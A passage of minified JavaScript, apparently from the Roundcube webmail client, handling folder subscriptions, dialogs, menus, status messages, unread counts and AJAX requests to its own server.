i=this.identity_list,e=this.html_identifier(e);s?(i.insert_row({id:"rcmrow"+e,cols:[{className:"mail",innerHTML:t}]}),i.select(e)):i.update_row(e,[t])},this.update_response_row=function(e,t,s){var i=this.responses_list;s?(i.insert_row({id:"rcmrow"+e,cols:[{className:"name",innerHTML:t}]}),i.select(e)):i.update_row(e,[t])},this.remove_response=function(e){this.responses_list&&(this.responses_list.remove_row(e),this.show_contentframe(!1)),this.enable_command("delete",!1)},this.remove_identity=function(e){var t=this.identity_list,s=this.html_identifier(e);t&&e&&(t.remove_row(s),this.show_contentframe(!1)),this.enable_command("delete",!1)},this.init_subscription_list=function(){var e=RegExp.escape(this.env.delimiter);this.last_sub_rx=RegExp("["+e+"]?[^"+e+"]+$"),this.subscription_list=new rcube_treelist_widget(this.gui_objects.subscriptionlist,{selectable:!0,tabexit:!1,parent_focus:!0,id_prefix:"rcmli",id_encode:this.html_identifier_encode,id_decode:this.html_identifier_decode,searchbox:"#foldersearch"}),this.subscription_list.addEventListener("select",function(e){ref.subscription_select(e.id)}).addEventListener("collapse",function(e){ref.folder_collapsed(e)}).addEventListener("expand",function(e){ref.folder_collapsed(e)}).addEventListener("search",function(e){e.query&&ref.subscription_select()}).draggable({cancel:"li.mailbox.root,input,div.treetoggle,.custom-control"}).droppable({accept:function(e){var t,s;return!!e.is(".mailbox")&&(e=ref.folder_id2name(e.attr("id")),t=ref.folder_id2name(this.id),s=ref.env.subscriptionrows[e],ref.env.subscriptionrows[t],s)&&!s[2]&&t!=e.replace(ref.last_sub_rx,"")&&!t.startsWith(e+ref.env.delimiter)},drop:function(e,t){var t=ref.folder_id2name(t.draggable.attr("id")),s=ref.folder_id2name(this.id);ref.subscription_move_folder(t,s)}})},this.folder_id2name=function(e){return e?ref.html_identifier_decode(e.replace(/^rcmli/,"")):null},this.subscription_select=function(e){var t;e&&"*"!=e&&(t=this.env.subscriptionrows[e])?(this.env.mailbox=e,this.show_folder(e),this.enable_command("delete-folder",!t[2])):(this.env.mailbox=null,this.show_contentframe(!1),this.enable_command("delete-folder","purge",!1))},this.subscription_move_folder=function(e,t){var s,i;e&&null!==t&&e!=t&&t!=e.replace(this.last_sub_rx,"")&&(s=e.split(this.env.delimiter).pop(),(i=""===t||"*"===t?s:t+this.env.delimiter+s)!=e)&&this.confirm_dialog(this.get_label("movefolderconfirm"),"move",function(){ref.http_post("rename-folder",{_folder_oldname:e,_folder_newname:i},ref.set_busy(!0,"foldermoving"))},{button_class:"save move"})},this.create_folder=function(){this.show_folder("",this.env.mailbox)},this.delete_folder=function(e){(e=e||this.env.mailbox)&&this.confirm_dialog(this.get_label("deletefolderconfirm"),"delete",function(){ref.http_post("delete-folder",{_mbox:e},ref.set_busy(!0,"folderdeleting"))})},this.add_folder_row=function(e,t,s,i,n,a,r,o){if(!this.gui_objects.subscriptionlist)return!1;this.subscription_list.is_search()&&(this.subscription_select(),this.subscription_list.reset_search()),this.subscription_list.is_draggable()&&this.subscription_list.draggable("destroy").droppable("destroy");var l,c,h,d,_,u,m="",p=[],f=[],g=[],v=$(this.gui_objects.subscriptionlist),b=r||$($("li",v).get(1)).clone(!0);if(!b.length)return this.goto_url("folders"),!1;b.attr({id:"rcmli"+this.html_identifier_encode(e),class:a}),r&&r.length||($("ul,div.treetoggle",b).remove(),b.removeData("filtered")),$("a",b).first().text(s).removeAttr("title"),$('input[name="_subscribed[]"]',b).first().val(e).prop({checked:!!n,disabled:!!i}),this.env.subscriptionrows[e]=[t,s,!1],$.each(this.env.subscriptionrows,function(e,t){t[3]=e,p.push(t)});try{_=new Intl.Collator(this.env.locale.replace("_","-"))}catch(e){}for(l in p.sort(function(e,t){for(var s,i,n=e[0].split(ref.env.delimiter),a=t[0].split(ref.env.delimiter),r=n.length,o=0;o<r;o++){if((s=n[o])!==(i=a[o]))return void 0===i?1:_?_.compare(s,i):s<i?-1:1;if(o==r-1)return-1}}),p)u=p[l][3],p[l][2]?(h=u+this.env.delimiter)!=this.env.prefix_ns&&(g.push(u),c=h):c&&u.startsWith(c)?g.push(u):(f.push(u),c=null);for(l=0;l<g.length;l++)e.startsWith(g[l]+this.env.delimiter)&&(d=g[l]);for(l=0;!d&&l<f.length;l++)l&&f[l]==e&&(d=f[l-1]);if(d&&(l=this.subscription_list.get_item(d,!0)))if((a=e.lastIndexOf(this.env.delimiter))&&(m=e.substring(0,a),m=this.subscription_list.get_item(m,!0),$("div.treetoggle",m).length||$("<div>&nbsp;</div>").addClass("treetoggle collapsed").appendTo(m),$("ul",m).length||$("<ul>").css("display","none").appendTo(m)),m&&l==m)$("ul",m).first().append(b);else{for(;(u=$(l).parent().parent().get(0))&&(!m||u!=m)&&$(u).is("li.mailbox");)l=u;$(l).after(b)}else v.append(b);return $.extend(this.env.subscriptionrows,o||{}),this.subscription_list.reset(!0),this.subscription_select(),m&&this.subscription_list.expand(this.folder_id2name(m.id)),(b=b.show().get(0)).scrollIntoView&&b.scrollIntoView(!1),r||this.triggerEvent("clonerow",{row:b,id:e}),b},this.replace_folder_row=function(e,i,n,t,s,a){if(!this.gui_objects.subscriptionlist)return!!this.is_framed()&&window.parent.rcmail.replace_folder_row(e,i,n,t,s,a);this.subscription_list.is_search()&&(this.subscription_select(),this.subscription_list.reset_search());var r={},o=this.subscription_list.get_item(e,!0),l=$(o).parent(),c=this.env.subscriptionrows[e],h=e.length,d=c[0].length,c=$('input[name="_subscribed[]"]',o).first().prop("checked");e==i?$(o).attr("class",a||""):($("li",o).each(function(){var e=ref.folder_id2name(this.id),t=ref.env.subscriptionrows[e],s=i+e.slice(h);this.id="rcmli"+ref.html_identifier_encode(s),$('input[name="_subscribed[]"]',this).first().val(s),t[0]=n+t[0].slice(d),r[s]=t,delete ref.env.subscriptionrows[e]}),o=$(o).detach(),delete this.env.subscriptionrows[e],l.get(0)==this.gui_objects.subscriptionlist||$("li",l).length||$("ul,div.treetoggle",l.parent()).remove(),this.add_folder_row(i,n,t,s,c,a,o,r))},this.remove_folder_row=function(e){this.subscription_list.is_search()&&(this.subscription_select(),this.subscription_list.reset_search());var t=[],s=this.subscription_list.get_item(e,!0);$("li",s).each(function(){t.push(ref.folder_id2name(this.id))}),this.subscription_list.remove(e),t.push(e),$.each(t,function(e,t){delete ref.env.subscriptionrows[t]})},this.subscribe=function(e){this.change_subscription_state(e,!0)},this.unsubscribe=function(e){this.change_subscription_state(e,!1)},this.change_subscription_state=function(e,t){var s,i;e&&(i=this.display_message("folder"+(s=t?"":"un")+"subscribing","loading"),this.http_post(s+"subscribe",{_mbox:e},i),$(this.gui_objects.subscriptionlist).find('input[value="'+e+'"]').prop("checked",t))},this.show_folder=function(e,t,s){var i=window,e="&_action="+(""===e?"add":"edit")+"-folder&_mbox="+urlencode(e);t&&(e+="&_path="+urlencode(t)),(t=this.get_frame_window(this.env.contentframe))&&(i=t,e+="&_framed=1"),0<=String(i.location.href).indexOf(e)&&!s?this.show_contentframe(!0):this.location_href(this.env.comm_path+e,i,!0)},this.disable_subscription=function(e){e=this.subscription_list.get_item(e,!0);e&&$('input[name="_subscribed[]"]',e).first().prop("disabled",!0)},this.reset_subscription=function(e,t){e=this.subscription_list.get_item(e,!0);e&&$('input[name="_subscribed[]"]',e).first().prop("checked",t)},this.folder_size=function(e){var t=this.set_busy(!0,"loading");this.http_post("folder-size",{_mbox:e},t)},this.folder_size_update=function(e){$("#folder-size").replaceWith(e)},this.folder_filter=function(s){this.subscription_list.reset_search(),this.subscription_list.container.children("li").each(function(){var e,t=ref.folder_id2name(this.id);if("---"!=s)if(s){if(t!==s)return void $(this).data("filtered",!0).hide()}else for(e in ref.env.ns_roots)if(t===ref.env.ns_roots[e])return void $(this).data("filtered",!0).hide();$(this).removeData("filtered").show()})},this.init_button=function(e,t){var s,i=document.getElementById(t.id);i&&(s=!1,"image"==t.type&&(i=i.parentNode,s=!0),i._command=e,i._id=t.id,t.sel&&(i.onmousedown=function(e){return ref.button_sel(this._command,this._id)},i.onmouseup=function(e){return ref.button_out(this._command,this._id)},s)&&((new Image).src=t.sel),t.over)&&(i.onmouseover=function(e){return ref.button_over(this._command,this._id)},i.onmouseout=function(e){return ref.button_out(this._command,this._id)},s)&&((new Image).src=t.over)},this.init_buttons=function(){for(var e in this.buttons)if("string"==typeof e)for(var t=0;t<this.buttons[e].length;t++)this.init_button(e,this.buttons[e][t])},this.set_button=function(e,t){for(var s,i,n=this.buttons[e],a=n?n.length:0,r=0;r<a;r++)s=n[r],(i=document.getElementById(s.id))&&s.status!==t&&("image"!=s.type||s.status?s.status||(s.pas=String(i.className)):(s.pas=i._original_src||i.src,i.runtimeStyle&&i.runtimeStyle.filter&&i.runtimeStyle.filter.match(/src=['"]([^'"]+)['"]/)&&(s.pas=RegExp.$1)),s.status=t,"image"==s.type&&s[t]?i.src=s[t]:void 0!==s[t]&&(i.className=s[t]),"input"==s.type||"button"==s.type?i.disabled="pas"==t:$(i).attr({tabindex:"pas"==t||"sel"==t?"-1":$(i).attr("data-tabindex")||"0","aria-disabled":"pas"==t||"sel"==t?"true":"false"}))},this.set_alttext=function(e,t){for(var s,i,n=this.buttons[e],a=n?n.length:0,r=0;r<a;r++)i=n[r],s=document.getElementById(i.id),t=this.get_label(t),s&&"image"==i.type?(s.setAttribute("alt",t),(i=s.parentNode)&&"a"==i.tagName.toLowerCase()&&i.setAttribute("title",t)):s&&s.setAttribute("title",t)},this.button_over=function(e,t){this.button_event(e,t,"over")},this.button_sel=function(e,t){this.button_event(e,t,"sel")},this.button_out=function(e,t){this.button_event(e,t,"act")},this.button_event=function(e,t,s){for(var i,n,a=this.buttons[e],r=a?a.length:0,o=0;o<r;o++)(i=a[o]).id==t&&"act"==i.status&&(i[s]&&(n=document.getElementById(i.id))&&(n["image"==i.type?"src":"className"]=i[s]),"sel"==s)&&(this.buttons_sel[t]=e)},this.set_pagetitle=function(e){e&&document.title&&(document.title=e)},this.display_message=function(e,t,s,i){if(e&&e.length&&/^[a-z._]+$/.test(e)&&(e=this.get_label(e)),this.is_framed())return parent.rcmail.display_message(e,t,s);if(!this.gui_objects.message)return"loading"!=t&&(this.pending_message=[e,t,s,i]),1;t?"loading"==t&&(i=i||"loading",s=s||1e3*this.env.request_timeout,e=e||this.get_label("loading")):t="notice",i=i||this.html_identifier(e);var n,a=new Date,r=t+a.getTime();if(!s)switch(t){case"error":case"warning":s=2*this.message_time;break;case"uploading":s=0;break;default:s=this.message_time}return this.messages[i]?(this.messages[i].obj&&$("div.content",this.messages[i].obj).html(e),"loading"==t&&this.messages[i].labels.push({id:r,msg:e}),this.messages[i].elements.push(r),setTimeout(function(){ref.hide_message(r,"loading"==t)},s)):(n=$("<div>").addClass(t+" content").html(e).data("key",i),$(this.gui_objects.message).append(n).show(),this.messages[i]={obj:n,elements:[r]},"loading"==t?this.messages[i].labels=[{id:r,msg:e}]:"uploading"!=t&&n.click(function(){return ref.hide_message(n)}).attr("role","alert"),this.triggerEvent("message",{message:e,type:t,timeout:s,object:n}),0<s&&setTimeout(function(){ref.hide_message(r,"loading"!=t)},s)),r},this.hide_message=function(e,t){if(this.is_framed())return parent.rcmail.hide_message(e,t);if(this.gui_objects.message){var s,i,n,a,r=this.messages;if("object"==typeof e)s=(a=$(e)).data("key"),this.hide_message_object(a,t),r[s]&&delete r[s];else for(s in r)for(i in r[s].elements)if(r[s]&&r[s].elements[i]==e)if(r[s].elements.splice(i,1),r[s].elements.length){if("loading"==s)for(n in r[s].labels)r[s].labels[n].id==e?delete r[s].labels[n]:(a=r[s].labels[n].msg,$("div.content",r[s].obj).html(a))}else this.hide_message_object(r[s].obj,t),delete r[s]}},this.hide_message_object=function(e,t){t?e.fadeOut(600,function(){$(this).remove()}):e.hide().remove()},this.clear_messages=function(){if(this.is_framed())return parent.rcmail.clear_messages();var e,t,s=this.messages;for(e in s)for(t in s[e].elements)s[e].obj&&this.hide_message_object(s[e].obj);this.messages={}},this.display_progress=function(e){var t;e&&e.name&&(t=this.messages["progress"+e.name],e.label||(e.label=this.get_label("uploadingmany")),t?!e.total||100<=e.percent?this.hide_message(t.obj):(e.text&&(e.label+=" "+e.text),t.obj.text(e.label)):(!e.percent||e.percent<100)&&this.display_message(e.label,"uploading",0,"progress"+e.name))},this.show_popup_dialog=function(e,t,i,n){var s,a,r,o,l,c,h,d;return this.is_framed()?parent.rcmail.show_popup_dialog(e,t,i,n):(s=$('<div class="popup">'),"object"==typeof e?(s.append(e),$(e).is("iframe")&&s.addClass("iframe")):s.html(e),a=0,n&&n.button_classes&&$.each(i,function(e,t){var s=n.button_classes[a];s&&(i[e]=(s=s,e=e,"function"==typeof(t=t)?t={click:t,text:e,class:s}:i.class=s,t)),a++}),n=$.extend({title:t,buttons:i,modal:!0,resizable:!0,width:500,close:function(e,t){$(this).remove()}},n||{}),s.dialog(n),s[0].jqref=$,n.width&&s.width(n.width),n.height&&s.height(n.height),r=s.parent(),n.noresize?s.css("width","auto"):(t=(e=$(window)).width(),e=e.height(),o=s.width(),l=n.height||s[0].scrollHeight+20,c=$(".ui-dialog-titlebar",r).outerHeight()||0,h=$(".ui-dialog-buttonpane",r).outerHeight()||0,d=2*(parseInt(r.css("padding-top"))+parseInt(s.css("padding-top"))),s.dialog("option",{height:Math.min(e-40,l+c+h+d+2),width:Math.min(t-20,o+28)})),r.on("keydown keyup",function(e){e.stopPropagation()}),r.find("input[data-submit]").on("keydown",function(e){13==e.which&&r.find(".ui-dialog-buttonpane button.mainaction").click()}),this.triggerEvent("dialog-open",{obj:s}),s)},this.simple_dialog=function(e,t,s,i){i=i||{};function n(e,t,s){(s=s||this).jqref(s).dialog("close"),i.cancel_func&&i.cancel_func(e,ref)}var t=this.get_label(t),a=i.button||"save",r=i.button_class||a.replace(/^[^\.]+\./i,""),o=i.cancel_button||"cancel",l=i.cancel_class||o.replace(/^[^\.]+\./i,""),o=[{text:this.get_label(o),class:l.replace(/close/i,"cancel"),click:n}];return s?o.unshift({text:this.get_label(a),class:"mainaction "+r,click:function(e,t){s(e,ref)&&n(e,0,this)}}):o[0].class+=" mainaction",this.show_popup_dialog(e,t,o,i)},this.alert_dialog=function(e,t,s){return s=$.extend(s||{},{cancel_button:"ok",cancel_class:"save",cancel_func:t,noresize:!0}),this.simple_dialog(e,s.title||"alerttitle",null,s)},this.confirm_dialog=function(e,t,s,i){return i=$.extend(i||{},{button:t||"continue",noresize:!0}),this.simple_dialog(e,i.title||"confirmationtitle",function(e,t){return s(e,t),!0},i)},this.set_page_buttons=function(){this.enable_command("nextpage","lastpage",this.env.pagecount>this.env.current_page),this.enable_command("previouspage","firstpage",1<this.env.current_page),this.update_pagejumper()},this.select_folder=function(e,t,s){this.savedsearchlist&&this.savedsearchlist.select(""),this.treelist?this.treelist.select(e):this.gui_objects.folderlist&&($("li.selected",this.gui_objects.folderlist).removeClass("selected"),$(this.get_folder_li(e,t,s)).addClass("selected"),this.triggerEvent("selectfolder",{folder:e,prefix:t}))},this.mark_folder=function(e,t,s,i){$(this.get_folder_li(e,s,i)).addClass(t),this.triggerEvent("markfolder",{folder:e,mark:t,status:!0})},this.unmark_folder=function(e,t,s,i){$(this.get_folder_li(e,s,i)).removeClass(t),this.triggerEvent("markfolder",{folder:e,mark:t,status:!1})},this.get_folder_li=function(e,t,s){if(t=t||"rcmli",this.gui_objects.folderlist)return e=this.html_identifier(e,s),document.getElementById(t+e)},this.set_message_coltypes=function(e,t,s){this.env.listcols=e,this.msglist_setup(this.env.layout);var i,n,a,r,o,l,c=this.message_list,h=c?c.thead:null,d=this.env.msglist_cols;if(this.env.coltypes||(this.env.coltypes={}),h){if(t){for(r in h.innerHTML="",l=document.createElement("tr"),d)a=d[r],(i=document.createElement("th")).innerHTML=t[a].html||"",t[a].id&&(i.id=t[a].id),t[a].className&&(i.className=t[a].className),l.appendChild(i);c.checkbox_selection&&c.insert_checkbox(l,"thead"),h.appendChild(l)}for(r=0,o=d.length;r<o;r++)n=d[c.checkbox_selection?r-1:r],!(i=h.rows[0].cells[r])||"from"!=n&&"to"!=n&&"fromto"!=n||$(i).attr("rel",n).find("span,a").text(this.get_label("fromto"==n?s:n))}this.env.subject_col=null,this.env.flagged_col=null,this.env.status_col=null,this.env.coltypes.folder&&(this.env.coltypes.folder.hidden=!(this.env.search_request||this.env.search_id)||"base"==this.env.search_scope),0<=(r=$.inArray("subject",d))&&(this.env.subject_col=r,c)&&(c.subject_col=r),0<=(r=$.inArray("flag",d))&&(this.env.flagged_col=r),0<=(r=$.inArray("status",d))&&(this.env.status_col=r),c&&(c.hide_column("folder",this.env.coltypes.folder&&this.env.coltypes.folder.hidden||$.inArray("folder",d)<0),c.init_header())},this.set_rowcount=function(e,t){if(t&&t!=this.env.mailbox)return!1;$(this.gui_objects.countdisplay).html(e),this.set_page_buttons()},this.set_mailboxname=function(e){this.gui_objects.mailboxname&&e&&(this.gui_objects.mailboxname.innerHTML=e)},this.set_quota=function(e){this.gui_objects.quotadisplay&&e&&"text"==e.type&&$(this.gui_objects.quotadisplay).text((e.percent||0)+"%").attr("title",e.title||""),this.triggerEvent("setquota",e),this.env.quota_content=e},this.set_trash_count=function(e){this[(e?"un":"")+"mark_folder"](this.env.trash_mailbox,"empty","",!0)},this.set_unread_count=function(e,t,s,i){if(!this.gui_objects.mailboxlist)return!1;this.env.unread_counts[e]=t,this.set_unread_count_display(e,s),i?this.mark_folder(e,i,"",!0):t||this.unmark_folder(e,"recent","",!0),this.mark_all_read_state()},this.set_unread_count_display=function(e,t){var s,i,n,a,r,o;if(i=this.get_folder_li(e,"",!0)){if(n=this.env.unread_counts[e]||0,!(r=(s=$(i).children("a").eq(0)).children("span.unreadcount")).length&&n&&(r=$("<span>").addClass("unreadcount skip-content").appendTo(s)),s=/\s+\([0-9]+\)$/i,a=0,(o=i.getElementsByTagName("div")[0])&&o.className.match(/collapsed/))for(var l in this.env.unread_counts)l.startsWith(e+this.env.delimiter)&&(a+=this.env.unread_counts[l]);n&&r.length?r.html(this.env.unreadwrap.replace(/%[sd]/,n)):r.length&&r.remove(),s=new RegExp(RegExp.escape(this.env.delimiter)+"[^"+RegExp.escape(this.env.delimiter)+"]+$"),e.match(s)&&this.set_unread_count_display(e.replace(s,""),!1),0<n+a?$(i).addClass("unread"):$(i).removeClass("unread")}s=/^\([0-9]+\)\s+/i,t&&document.title&&(o="",r=String(document.title),o=n&&r.match(s)?r.replace(s,"("+n+") "):n?"("+n+") "+r:r.replace(s,""),this.set_pagetitle(o))},this.set_headers=function(e){this.gui_objects.all_headers_box&&e&&$(this.gui_objects.all_headers_box).html(e).show()},this.show_headers=function(e,t){this.gui_objects.all_headers_row&&this.gui_objects.all_headers_box&&this.env.uid&&($(t).removeClass("show-headers").addClass("hide-headers"),$(this.gui_objects.all_headers_row).show(),t.onclick=function(){ref.command("hide-headers","",t)},this.gui_objects.all_headers_box.innerHTML||this.http_request("headers",{_uid:this.env.uid,_mbox:this.env.mailbox},this.display_message("","loading")))},this.hide_headers=function(e,t){this.gui_objects.all_headers_row&&this.gui_objects.all_headers_box&&($(t).removeClass("hide-headers").addClass("show-headers"),$(this.gui_objects.all_headers_row).hide(),t.onclick=function(){ref.command("show-headers","",t)})},this.folder_selector=function(e,t){this.entity_selector("folder-selector",t,this.env.mailboxes_list,function(e,t){var s=0,i=0,n=ref.env.delimiter,e=ref.env.mailboxes[e],a=e.id,r=$("<li>");for(e.virtual?t.addClass("virtual").attr({"aria-disabled":"true",tabindex:"-1"}):t.addClass("active").data("id",e.id),e.class&&r.addClass(e.class);0<=(i=a.indexOf(n,i));)s++,i++;return t.css("padding-left",s?16*s+"px":0),t.append($("<span>").text(e.name)),r.append(t)},e)},this.addressbook_selector=function(e,t){var s=[];this.entity_selectors["addressbook-selector"]||$.each(this.env.address_sources,function(){var e;this.readonly||(s.push(e=this),$.each(ref.env.contactgroups,function(){e.id===this.source&&s.push(this)}))}),this.entity_selector("addressbook-selector",t,s,function(e,t){return"group"==e.type?t.attr("rel",e.source+":"+e.id).addClass("contactgroup active").data({source:e.source,gid:e.id,id:e.source+":"+e.id}).css("padding-left","16px"):t.addClass("addressbook active").data("id",e.id),t.append($("<span>").text(e.name)),$("<li>").append(t)},e)},this.contactgroup_selector=function(e,t){this.entity_selector("contactgroup-selector",t,this.env.contactgroups,function(e,t){if(ref.env.source===e.source)return t.addClass("contactgroup active").data({id:e.id}).append($("<span>").text(e.name)),$("<li>").append(t)},e)},this.entity_selector=function(e,t,s,i,n){var a,r,o,l=this.entity_selectors[e];l||(a=[],l=$("<div>").attr("id",e).addClass("popupmenu"),r=$("<ul>").addClass("toolbarmenu menu"),(o=document.createElement("a")).href="#",o.className="icon",$.each(s,function(e){var t=$(o.cloneNode(!1)).attr("rel",this.id);a.push(i(this,t,e))}),r.append(a).appendTo(l),l.css({left:"-1000px",top:"-1000px"}).appendTo(document.body).show(),10<a.length&&l.css("max-height",10*$("li",l)[0].offsetHeight+9),l.on("click","a.active",function(e){l.data("callback")($(this).data("id"),this)}),this.entity_selectors[e]=l),l.data("callback",t),this.show_menu(e,!0,n)},this.destroy_entity_selector=function(e){$("#"+e).remove(),delete this.entity_selectors[e],this.triggerEvent("destroy-entity-selector",{name:e})},this.show_menu=function(e,t,s){var i,n,a,r="object"==typeof e?e.menu:e,o=$("#"+r),l=s&&s.target?$(s.target):$(o.attr("rel")||"#"+r+"link"),c=rcube_event.is_keyboard(s),h=o.attr("data-align")||"",d=!1;if("A"!=l.get(0).tagName&&l.closest("a").length&&(l=l.closest("a")),"string"==typeof e&&(e={menu:r}),!(o=o.length?o:this.triggerEvent("menu-get",{name:r,props:e,originalEvent:s}))||!o.length)return this.triggerEvent(!1===t?"menu-close":"menu-open",{name:r,props:e,originalEvent:s});if(o.appendTo(document.body),(t=void 0===t?!o.is(":visible"):t)&&l.length&&(i=$(window),n=l.offset(),a=0<=h.indexOf("bottom"),d="menuitem"==l.attr("role")||0<l.closest("[role=menuitem]").length,l.offsetWidth=l.outerWidth(),l.offsetHeight=l.outerHeight(),!a&&n.top+l.offsetHeight+o.height()>i.height()&&(a=!0),0<=h.indexOf("right")?n.left=n.left+l.outerWidth()-o.width():d&&(n.left=n.left+l.offsetWidth-5,n.top-=l.offsetHeight),n.left+o.width()>i.width()&&(n.left=i.width()-o.width()-12),n.top=Math.max(0,n.top+(a?-o.height():l.offsetHeight)),o.css({left:n.left+"px",top:n.top+"px"})),t){for(var _=this.menu_stack.length-1;d&&0<=_;_--)$(l).parents("#"+this.menu_stack[_]).length||"menuitem"==$(s.target).parent().attr("role")||this.hide_menu(this.menu_stack[_],s);d&&this.menu_stack.length?(o.data("parent",$.last(this.menu_stack)),o.css("z-index",($("#"+$.last(this.menu_stack)).css("z-index")||0)+1)):!d&&this.menu_stack.length&&this.hide_menu(this.menu_stack[0],s),o.show().attr("aria-hidden","false").data("opener",l.attr("aria-expanded","true").get(0)),this.triggerEvent("menu-open",{name:r,obj:o,props:e,originalEvent:s}),this.menu_stack.push(r),this.menu_keyboard_active=t&&c,this.menu_keyboard_active&&(this.focused_menu=r,o.find("a,input:not(:disabled)").not("[aria-disabled=true]").first().focus())}else this.hide_menu(r,s);return t},this.hide_menu=function(e,t){if(this.menu_stack.length){for(var s,i=rcube_event.is_keyboard(t),n=this.menu_stack.length-1;0<=n;n--)s=$("#"+this.menu_stack[n]).hide().attr("aria-hidden","true").data("parent",!1),this.triggerEvent("menu-close",{name:this.menu_stack[n],obj:s,props:{menu:this.menu_stack[n]},originalEvent:t}),this.menu_stack[n]==e&&(n=-1,s.data("opener"))&&($(s.data("opener")).attr("aria-expanded","false"),i)&&s.data("opener").focus(),this.menu_stack.pop();this.menu_stack.length&&i?(this.menu_keyboard_active=!0,this.focused_menu=$.last(this.menu_stack),s&&s.data("opener")||$("#"+this.focused_menu).find("a,input:not(:disabled)").not("[aria-disabled=true]").first().focus()):(this.focused_menu=null,this.menu_keyboard_active=!1)}else this.triggerEvent("menu-close",{name:e,props:{menu:e},originalEvent:t})},this.element_position=function(e,t){var t=$(t),s=$(window),i=t.outerWidth(),n=t.outerHeight(),a=t.data("menu-pos"),r=s.height(),o=$(e).height(),l=$(e).width(),t=t.offset(),c=t.top,t=t.left+i;"bottom"==a?(c+=n,t-=i):t-=5,r<c+o&&(c-=o-n)<0&&(c=Math.max(0,(r-o)/2)),t+l>s.width()&&(t-=l+i),e.css({left:t+"px",top:c+"px"})},this.editor_init=function(e,t){this.editor=new rcube_text_editor(e||this.env.editor_config,t)},this.html2plain=function(e,t){return this.format_converter(e,"html",t)},this.plain2html=function(e,t){return this.format_converter(e,"plain",t)},this.format_converter=function(e,t,s){if(!e||"html"==t&&!e.replace(/<[^>]+>|&nbsp;|\xC2\xA0|\s/g,"").length||"html"!=t&&!e.replace(/\xC2\xA0|\s/g,"").length)s&&setTimeout(function(){s("")},50);else{var i=this.env.editor_warned||confirm(this.get_label("editorwarning"));if(this.env.editor_warned=!0,!i)return!1;var i="?_task=utils&_action="+("html"==t?"html2text":"text2html"),n=this.set_busy(!0,"converting");$.ajax({type:"POST",url:i,data:e,contentType:"application/octet-stream",error:function(e,t,s){ref.http_error(e,t,s,n)},success:function(e){ref.set_busy(!1,null,n),s&&s(e)}})}return!0},this.url=function(e,t){var s,i="string"==typeof t?t:"",n=("string"!=typeof e?t=e:t&&"object"==typeof t||(t={}),e?t._action=e:this.env.action&&(t._action=this.env.action),this.env.comm_path),a={};for(s in e&&e.match(/([a-z0-9_-]+)\/([a-z0-9-_.]+)/)&&(t._action=RegExp.$2,n=n.replace(/\_task=[a-z0-9_-]+/,"_task="+RegExp.$1)),0===t._framed&&(n=n.replace("&_framed=1",""),t._framed=null),t)void 0!==t[s]&&null!==t[s]&&(a[s]=t[s]);return(a=$.param(a))&&(n+=(-1<n.indexOf("?")?"&":"?")+a),i&&(n+=(-1<n.indexOf("?")?"&":"?")+i),n},this.redirect=function(e,t){!1!==t&&this.set_busy(!0,"loading"),this.is_framed()?(e=e.replace(/&_framed=1/,""),parent.rcmail.redirect(e,t)):(this.env.extwin&&("string"==typeof e?e+=(e.indexOf("?")<0?"?":"&")+"_extwin=1":e._extwin=1),this.location_href(e,window))},this.goto_url=function(e,t,s,i){e=this.url(e,t);i&&(e=this.secure_url(e)),this.redirect(e,s)},this.location_href=function(e,t,s){s&&this.lock_frame(t),"object"==typeof e&&(e=this.env.comm_path+"&"+$.param(e)),bw.ie&&t==window?$("<a>").attr("href",e).appendTo(document.body).get(0).click():t.location.href=e,this.start_keepalive()},this.update_state=function(e){if(window.history.replaceState)try{window.history.replaceState({},document.title,rcmail.url("",e))}catch(e){}},this.http_request=function(i,e,n,t){"POST"!=t&&(t="GET"),(e="object"!=typeof e?rcube_parse_query(e):e)._remote=1,e._unlock=n||0;var s=this.triggerEvent("request"+i,e);if(!1===s)return e._unlock&&this.set_busy(!1,null,e._unlock),!1;if(s&&s.getResponseHeader)return s;void 0!==s&&(e=s)._action&&(i=e._action,delete e._action);s=this.url(i);return this.start_keepalive(),$.ajax({type:t,url:s,data:e,dataType:"json",success:function(e){ref.http_response(e)},error:function(e,t,s){ref.http_error(e,t,s,n,i)}})},this.http_get=this.http_request,this.http_post=function(e,t,s){return this.http_request(e,t,s,"POST")},this.abort_request=function(e){e.request&&e.request.abort(),e.lock&&this.set_busy(!1,null,e.lock)},this.http_response=function(response){if(response){var i,sid,uid,writable,is_multifolder,list,uid,list,uid;if(response.unlock&&this.set_busy(!1,null,response.unlock),this.triggerEvent("responsebefore",{response:response}),this.triggerEvent("responsebefore"+response.action,{response:response}),response.env&&this.set_env(response.env),"object"==typeof response.texts)for(i in response.texts)"string"==typeof response.texts[i]&&this.add_label(i,response.texts[i]);if(response.exec&&eval(response.exec),response.callbacks&&response.callbacks.length)for(i=0;i<response.callbacks.length;i++)this.triggerEvent(response.callbacks[i][0],response.callbacks[i][1]);switch(response.action){case"mark":"show"!=this.env.action&&"preview"!=this.env.action||"SEEN"!=this.env.last_flag||this.set_unread_message(this.env.uid,this.env.mailbox);break;case"delete":"addressbook"==this.task&&(uid=this.contact_list.get_selection(),writable=!1,uid&&this.contact_list.rows[uid]&&(writable=""==this.env.source?(sid=String(uid).replace(/^[^-]+-/,""),sid&&this.env.address_sources[sid]&&!this.env.address_sources[sid].readonly):!this.env.address_sources[this.env.source].readonly),this.enable_command("delete","edit",writable),this.enable_command("export",this.contact_list&&0<this.contact_list.rowcount),this.enable_command("export-selected","print",!1));case"move":"show"==this.env.action?(this.enable_command(this.env.message_commands,!0),this.env.list_post||this.enable_command("reply-list",!1)):"addressbook"==this.task&&this.triggerEvent("listupdate",{list:this.contact_list,folder:this.env.source,rowcount:this.contact_list.rowcount});case"purge":case"expunge":"mail"==this.task&&(this.env.exists||(this.env.contentframe&&this.show_contentframe(!1),this.enable_command(this.env.message_commands,"purge","expunge","select-all","select-none","expand-all","expand-unread","collapse-all",!1)),this.message_list)&&this.triggerEvent("listupdate",{list:this.message_list,folder:this.env.mailbox,rowcount:this.message_list.rowcount});break;case"refresh":case"check-recent":$.each(this.env.recent_flags||{},function(e,t){ref.set_message(e,"deleted",t.deleted),ref.set_message(e,"replied",t.answered),ref.set_message(e,"unread",!t.seen),ref.set_message(e,"forwarded",t.forwarded),ref.set_message(e,"flagged",t.flagged)}),delete 